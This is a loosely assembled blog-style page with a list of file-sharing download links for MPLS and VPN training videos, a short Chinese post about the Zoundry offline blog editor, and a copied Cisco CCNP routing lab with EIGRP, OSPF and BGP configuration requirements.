http://d.namipan.com/d/2a5b923d7ea4f9ed2c9de3fdf65bc2c35807c382e0b33c06
mpls-03-mpls-summary-and-vpn-introduction-136min.wmv
http://d.namipan.com/d/e82ead13f331d2fda7a0f46d643edb541659d502eec9f706
mpls-04-mpls-vpn-deployment-pe-ce-protocol-154min.wmv
http://d.namipan.com/d/14138e252336e2b1ad1fcbf93ea0b99b2dd696382eeaa608
mpls-05-mpls-vpn-deployment-topology-42min.wmv
http://d.namipan.com/d/bb7a5a5466b56d87f9e0c81ff0b27a9aebd77b497020d002
mpls-06-mpls-vpn-internet-access-98min.wmv
http://d.namipan.com/d/67cbfe26c1ab98cb3f23bd2e6901e4858e9366dc16130304
mpls-07-mpls-vpn-internet-access-58min.wmv
http://d.namipan.com/d/c00b5d581d39e59807a06bb4e76d945f379add6ae816dc02
mpls-08-mpls-vpn-inter-as-105min.wmv
http://d.namipan.com/d/a4eea6f8545388a892ce57f3d8b55251127382a5349d8705
mpls-09-mpls-vpn-inter-as-69min.wmv
http://d.namipan.com/d/d83636dcc8c824a244ee34564f7c77375ec980720e741b03
mpls-10-mpls-vpn-inter-as-64min.wmv
http://d.namipan.com/d/54234d84e8215a777a24986ee899430ea4470ec9e0fcb303
mpls-11-mpls-vpn-csc-59min.wmv
http://d.namipan.com/d/ca02949d9e3c9ec40e3566b4387f67d62b575e23e8a94b04
mpls-12-npls-vpn-csc-144min.wmv
http://d.namipan.com/d/e4ec9c374c1156d1a12b102bfd9523b76cd82bd21858b908
mpls-13-mpls-te-theory-175min.wmv
http://d.namipan.com/d/4048488a9b49a29c3c296917e4a7051c6ddb68edbc76ae07
mpls-14-mpls-te-configuration-117min.wmv
http://d.namipan.com/d/cc888488c87cb65e537640ebe2f25502d4aa2d691a67b205
mpls-15-mpls-te-optimization-107min.wmv
http://d.namipan.com/d/9a8c9c1ff7c19bbc7333b7e2348ebd68232d761264d16206
mpls-16-mpls-te-frr-qos-vpn-130min.wmv
http://d.namipan.com/d/4c1b5f014195a75b348945cd393a603d1db34e6192843106
mpls-17-multicast-vpn-1-164min.wmv
http://d.namipan.com/d/f6821a2091a5b0cff5005c9a30e124088b0c541eb0ba3a07
mpls-18-multicast-vpn-2-71min.wmv
http://d.namipan.com/d/0029dca825d4b07cc7110055437eb5bfad0e6f3d04a92303
先介绍我正在使用的这款Zoundry blog writer,Zoundry可能是使用最为广泛的离线blog更新工具,功能强大,简单方便,速度很快一键添加图片、链接等。
使用之前,直接输入你的blog地址,Zoundry就会自动搜索你的博客,创建了blog帐户之后,包括分类、tag在内都可以在这里完成,还可以同时将文章添加到多个博客,官网上还讲了N多功能,感兴趣自己去看看吧。
正在测试中…………….

————————————————————————————————————————————–
Instructions
Configure the routers according to the above diagram and the requirements
below.
Requirements
• Configure the interfaces with the IP addresses shown in the diagram.
• Configure R2 and R3 to be in EIGRP AS 65100. Add the entire class B network
and disable automatic summarization.
2 – 2 CCNP: Building Scalable Internetworks v5.0 – Skills-Based Assessment 2 Copyright © 2006, Cisco Systems, Inc
• Configure OSPF area 0 on the link between R1 and R2. Also add the loopback
interfaces on R1 into area 0.
• Have R3 redistribute its connected routes into EIGRP.
• Make sure all loopback interfaces are advertised with the correct mask.
• Have R2 originate a default route into the OSPF domain.
• Redistribute OSPF into EIGRP.
• Filter out 172.16.120.0 and 172.16.121.0 from being advertised to R3.
• Configure R2 and R3 in BGP AS 65100. Configure R4 in BGP AS 65400.
• Peer R2 and R3 in BGP on their loopback interfaces.
• Peer R3 and R4 in BGP.
• Have R4 advertise its loopback interfaces into BGP.
• Configure R3 to filter out 172.31.8.0 and 172.31.12.0 on the inbound updates
from R4.
• Configure R4 with a static route to the 172.16.0.0/16 network via R3.